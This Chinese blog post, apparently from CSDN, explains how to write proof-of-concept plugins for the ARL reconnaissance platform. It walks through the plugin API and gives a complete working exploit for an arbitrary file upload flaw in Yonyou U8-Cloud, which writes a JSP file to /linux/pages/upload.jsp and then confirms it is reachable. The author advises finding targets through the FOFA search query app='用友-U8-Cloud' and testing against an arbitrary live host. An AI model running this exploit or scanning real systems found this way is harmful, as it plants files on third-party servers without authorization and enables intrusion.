arl-高级红队助手

2023年了,外边的代码还是那么的飘逸…各家的poc是各家的poc…为了统一规范,花了一点时间写了下arl的poc,抛砖引玉,希望各位师傅能一起来开发poc

POC相关

灯塔的POC有点少添加一下,找到POC的添加,然后进入!image-20231023191930549

docker exec  -it 407edbf4b35b /bin/bash

这里直接找POC的所在位置,官方已经给出相关说明

https://github.com/1c3z/ARL-NPoC

进去之后来到/opt/ARL-NPoC

cd /opt/ARL-NPoC && ls

image-20231023192118531

新建终端,然后使用docker cp 将这个ARL-NPoC,拉到根目录

docker cp 407edbf4b35b:/opt/ARL-NPoC /

image-20231023192459875

下载到本地,进行分析。把里面的环境装一下(要有python环境)

pip install -r requirements.txt

使用vscode打开

image-20231023194334593

看POC的,没注释,让GPT生成注释即可

各个函数的意义

__init()__:初始化函数。
复制成功

def __init__(self):
    super(Plugin, self).__init__()
    # 插件类型poc
    self.plugin_type = PluginType.POC
    # 插件name
    self.vul_name = "泛微 Ecology getdata.jsp SQL注入漏洞"
    # 探测组件name
    self.app_name = 'Ecology'
    # 探测协议?
    self.scheme = [SchemeType.HTTP, SchemeType.HTTPS]

verify():验证函数。

def verify(self, target):   #参数target


http_req():请求函数。

def http_req(url, method = 'get', **kwargs): #传入url,请求方法get,post....


post请求实例:

http_req(url, method='post', data=data)
http_req(url, method='post', data=data, headers=header)



http_req()处理方法

1. content(): # 获取响应包
conn = http_req(url, "get")

if b"GitLab" not in conn.content:
      return False

2. json(): # json处理响应包

conn = http_req(url, "get")
data = conn.json()

3. status_code: #获取响应值

conn = http_req(url, "get", auth=(user, passwd))
if conn.status_code == 200:
     return True
conn = http_req(url)

4. text: #获取响应体。和content类似吧

conn = http_req(url, "get")
pattern = r'<meta\s+name="csrf-token"\s+content="([^\"]+)+"\s+/>'
matches = re.findall(pattern=pattern, string=conn.text)

5. headers.get() # 获取响应头

conn = http_req(url, "get")

if self._check_str not in conn.headers.get("WWW-Authenticate", ""):
       return False

6.self.logger.debug() #信息回显

self.logger.debug("not Ecology {}".format(target))


def init_logger():
    log_colors = {
        'DEBUG': 'white',
        'INFO': 'green',
        'SUCCESS':  'red',
        'WARNING': 'yellow',
        'ERROR': 'red',
        'CRITICAL': 'bold_red',
    }
    

 

后续代码编写可能会有问题,可以在本地简单测试保证不爆红之后再同步到远程arl。

pip install -e .      # 安装依赖
python setup.py --help-commands  # 查看安装命令帮助
python setup.py install       # 安装

image-20231026140517432

image-20231026140541979

提示帮助的同时也会加载编写好的插件,错误的插件会报错,此时就可以针对这些报错的插件做针对性修改。

xing -h

image-20231023201346429

(经过测试,本地win没有办法加载poc,所以在linux上传测试,上述的测试环境搭建也要再做一次)

下边是用友-U8-Cloud-任意文件上传的poc演示

poc要多些,这个poc也是比较简单,arl已经内置相关写法,多看看demo的各种写法即可

有bug,在arl默认是https走,要加前缀,已经解决)

#app="用友-U8-Cloud"
# 导入必要的模块
from xing.core.BasePlugin import BasePlugin  # 导入BasePlugin类,用于创建插件基类
from xing.utils import http_req  # 导入http_req函数,用于发送HTTP请求
from xing.core import PluginType, SchemeType  # 导入PluginType和SchemeType枚举,用于指定插件类型和协议类型

# 定义Plugin类,继承自BasePlugin
class Plugin(BasePlugin):
    def __init__(self):
        super(Plugin, self).__init__()  # 调用父类的构造函数
        self.plugin_type = PluginType.POC  # 将插件类型设置为POC(Proof of Concept,概念验证)
        self.vul_name = "用友-U8-Cloud-任意文件上传"  # 定义漏洞名称
        self.app_name = 'U8'  # 将应用程序名称定义为 U8
        self.scheme = [SchemeType.HTTP]  # 指定支持的协议类型和HTTP

    # 定义用于检测漏洞的verify方法
    def verify(self, target):
        path = ["/linux/pages/upload.jsp"]  # 定义待检测的路径列表
        url = target + path[0]  # 构建完整的URL
        
        # 设置请求头
        header = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0",
            "Accept-Encoding": "gzip, deflate",
            "Accept": "*/*",
            "Connection": "close",
            "Content-Type": "application/x-www-form-urlencoded",
            "filename": "55051.jsp",
            "Content-Length": "30"
        }

        # 发送POST请求并获取响应
        data = '<% out.println(\"Console\"); %>'  # POST请求的数据


        #conn = requests.post(url, data=data, headers=header)
        conn = http_req(url, method='post', data=data, headers=header)
        
        content = conn.content  # 获取返回的内容

        # 发送GET请求并获取状态码
        conn1 = http_req(url + '/linux/55051.jsp')

        if conn.status_code != 404:  # 如果状态码不是404
            
            if (b"<title>This page for response" not in content and b"upload success" not in content) :  # 如果返回的内容不包含"<title>This page for response"或者"success file"
                
                self.logger.success("not found U8-Cloud-upload file")  # 打印调试信息

                return url  
                
            if (b"<title>This page for response" in content or b"upload success" in content) or (conn1.status_code == 200):  # 如果返回的内容包含指定的字符串


                self.logger.success("用友U8-Cloud-upload {}".format(target+'/linux/55051.jsp')) # 打印成功信息

                return target+'/linux/55051.jsp'    
                #return必须写,作为风险巡航-漏扫-凭证会用到

image-20231026160914233
)

目标从fofa找即可,关键字

app="用友-U8-Cloud"

这里随便找一个进行测试

image-20231026140214255

将测试好的poc上传到arl里

image-20231026141326311

回到灯塔,查看poc

image-20231026141440540

POC测试

在策略配置上选中POC单个测试

image-20231026161027943

扫描主机,然后风险任务下发,选择poc

执行完毕后会看到凭证,就是上传文件的证明

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值